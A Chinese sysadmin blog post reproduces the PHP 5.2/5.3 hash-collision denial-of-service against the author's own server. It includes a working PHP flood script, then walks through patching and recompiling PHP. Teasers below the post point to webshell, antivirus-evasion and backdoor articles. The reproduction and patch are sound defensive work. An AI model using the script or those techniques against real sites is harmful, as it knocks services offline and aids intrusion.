研究php hash漏洞 怎么给php hash漏洞打上补丁?
今天抽空研究了一个前不久出的一个BUG,PHP 5.2/5.3 Hash漏洞,造成一台机器就可以DDOS攻击互联网上的PHP网站。
我们先看下环境,这个网站是LAMP架构,PHP版本是5.2.17。
PHP未打补丁前,服务器CPU情况,目前是2.1%的使用率。
我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。
程序语言如下:
复制代码
代码如下:
echo $showtime=date("Y-m-d H:i:s");
?>
执行后的效果是取当前服务器的时间。
找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/local/apache/htdocs目录,写一PHP网页,程序语言如下:
[root@blog htdocs]# Vi hash.php
复制代码
代码如下:
$size = pow(2, 16);
$data = '';
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$data .= $key.'=&';
}
$url = 'http://www.liuxxxxx.com/checktime.php';
$rs = array();
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER,0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
for ($i=0; $i<100; ++$i)
{
curl_exec($ch);
}
curl_close($ch);
?>
url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。
[root@blog htdocs]# /usr/local/php/bin/php hash.php
在web服务器端,我们去看服务器的资源利用情况,CPU是97.6%,看样子单台虚拟机,拿100并发去Hash,就足够把web服务器的CPU利用率升至100%。
Cpu到了100%,网站是什么情况呢。我们再浏览该台web服务器,点网站上面的链接,反应正常,估计是这台web服务器本身没有一点压力,所以看不出来。把并发量调到10000,再测下,刚才是100并发。
刷新checktime.php页面,可以很快显示,网站正常。但此时web服务器cpu已是100%
结论,我是用个人博客作目标机,因为个人博客,目前只有几个人访问,没有压力,所以即使,通过10000并发的Hash,CPU上到100%,个人博客打开的速度,还是相当快。
打上补丁,我们再观察一下。
1、先查下以后在搭建环境时,PHP的编译参数
2、到网上去下载一个PHP补丁,下载地址为:
https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars
3、根据个人平台的版本号,点击进去,注意,不要在它上面点右键,另存为,否则你down下的是一个html文件,文件名倒是php-5.2.17-max-input-vars.patch。
在新弹出的页面点“raw”,就会打开这个补丁文件。
把里面的内容复制,我这里只截了它一小部分。然后在web服务器上新建一个文件,php-5.2.17-max-input-vars.patch,里面就是刚复制的。
4、进php的原始安装目录,我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些,清理一下。
5、打补丁并重新编译一下php
再config
再make ZEND_EXTRA_LIBS='-liconv' //有的平台是make,每个环境不一样
再make install
6、重启一下apache,看效果
[root@lghblog php-5.2.17]# pkill httpd
[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start
访问一下,web服务器的phpinfo.php,查看PHP环境有没有变化。大家可以在最上面看到,PHP版本后带了个P1。这个还不够,我们再用Hash碰撞一下,看cpu会不会上100%。
在测试机上,还是取并发10000,去Hash web服务器。发现web服务器的CPU一直保持在0.5%。
问题解决!
本文出自 “系统网络运维” 博客
ripper病毒怎么删除?U盘里的ripper病毒无法删除怎么办?
电脑,软件DiskGenius下载地址:softs 19980 html1、打开DiskGenius软件,左面找到你的U盘,选定它。2、单击上方的‘硬盘’选项。3、选择其中的‘重建主引导记录’4、选择其中的‘清除
详情2018-01-15 19:00:15责编:llp 来源:驱动管家mssql数据库,权限是sa,加上后台有上传文件就能得到webshell
想必大家都知道MSSQL中SA权限是什么,可以说是至高无上。今天我就它的危害再谈点儿,我所讲的是配合NBSI上传功能得到WebShell。在讲之前先说几个条件,否则得到Shell是有难度的。1.存在SQL注入,并且数据库类型
详情2018-01-20 09:31:03责编:llp 来源:驱动管家备份共享文件,大势至软件只需一步就可以完成
日常工作中,我们经常会遇到这样的情况:有人误删服务器中的共享文件,导致无法恢复,如果其中涉及企业重要商业机密,则有可能给企业带来不可估量的损失。操作系统本身对于共享文件的管理只能做到只读、禁止删除
详情2018-02-04 20:13:36责编:llp 来源:驱动管家这十三招可以防止windows操作系统中毒
我的电脑很少中毒,至少在我知道的情况下我的电脑没用中过毒。消灭病毒的难度是很大的,但做好预防工作却是非常容易的。下面是我的一些做法,个人认为做好下面的措施,电脑中毒机会的就会是微乎其微,这些措施只
详情2018-02-11 16:48:31责编:llp 来源:驱动管家如何进行qq密保设置?qq密保令牌不能使用怎么办?
腾讯公司在2009年5月7日上午9点推出全新的QQ安全中心,特别推出密保令牌服务。密保令牌是二代密保其中的一个密保手段,需要安装在手机上,可以显示6位动态密码。当您成功绑定密保令牌后,令牌将会出现在“统一安
详情2018-01-17 12:20:54责编:llp 来源:驱动管家telnet命令的字符有哪些?telnet特殊命令模式escape
除了在Telnet是如何工作的例子介绍的以外,Telnet还有很多的特点。Telnet可发送除了 "escape "的任何字符到远程主机上。因为 "escape "字符在Telnet中是客户机的一个特殊的命令模式,它的默认值是 "Ctrl-] "。但要注意不
详情2018-01-24 09:30:59责编:llp 来源:驱动管家木马免杀怎么改特征码?木马免杀改特征码的经验分享
木马免杀,在国内应该起源于05年吧 从那时单一特征码到现在复合特征码,杀毒软件从无主动防御到有主动防御 免杀技术越来越难 但是万变不离其宗--改特征码 到现在一些辅助软件的行为查杀 以下讲解都是以远程控制软件
详情2018-01-03 10:00:32责编:llp 来源:驱动管家shift后门的原理是什么?如何清除shift后门?
在cmd下输入以下命令 下面再打开记事本把底下的代码粘贴进去。复制代码代码如下:@echo offclsecho ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~echo ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~echo echo Shift后门ech
详情2018-01-15 15:25:55责编:llp 来源:驱动管家脱壳教程 jdpack如何脱壳?
这是一个加壳软件,软件加壳后可以检测trw及sice,它的1 00版检测到trw或sice时只是提示,到了1 01版,检测到就会出现非法操作 未注册版好像没有时间限制,但是给软件加壳后每次运行就会提示 "Unregistered JDPack Thi
详情2018-01-19 09:35:00责编:llp 来源:驱动管家加密工具gpg是怎么下载安装使用的?
先说说GPG的获得吧,GPG是开放源代码的软件,是完全免费的,大家可
详情2018-01-04 09:36:39责编:llp 来源:驱动管家
- XP系统能不能禁用驱动签名提示?怎么禁止驱动签名
- ppt怎么加音乐 ppt音乐相册怎么做?PPT的制作技巧介绍
- 破解压缩文件密码用这个方法最简单
- 笔记本摄像头怎么打开?一键教你快速打开笔记本摄像头
- 针孔摄像头哪家强?针孔摄像头一些厂家介绍
- 交通运输部规范网约车 运营数据保存期限不能少于6个月
- 出现电脑蓝屏的现象应该怎么解决?
- 电脑开机出现的各种声音代表什么意思?BIOS自检响铃含义
- 小米note钢化膜测试 小米note能贴钢化膜吗?
- 大神f1 plus好用吗?这里有大神f1 plus的配置和跑分数据
- 叶良辰是谁?叶良辰的新浪微博ID是什么
- 为了企业电脑文件安全,怎么禁止离职员工拷贝公司文件?
- 360解压缩文件失败的原因是什么?怎么解决
- 将微信聊天记录导出到电脑上怎么操作呢?
- e卡口镜头什么比较好?关于e卡口镜头的一些介绍
- 怎么利用手机来远程监控摄像头?具体步骤可以这样设置
- win7系统不能安装驱动是什么原因?电脑驱动安装的先后顺序是什么
- 电脑登录迅雷的时候闪退的情况怎么解决
- 大神f1plus怎么样?选择大神f1plus还是红米2a?
- Loxclip液切是什么软件?Loxclip液切使用教程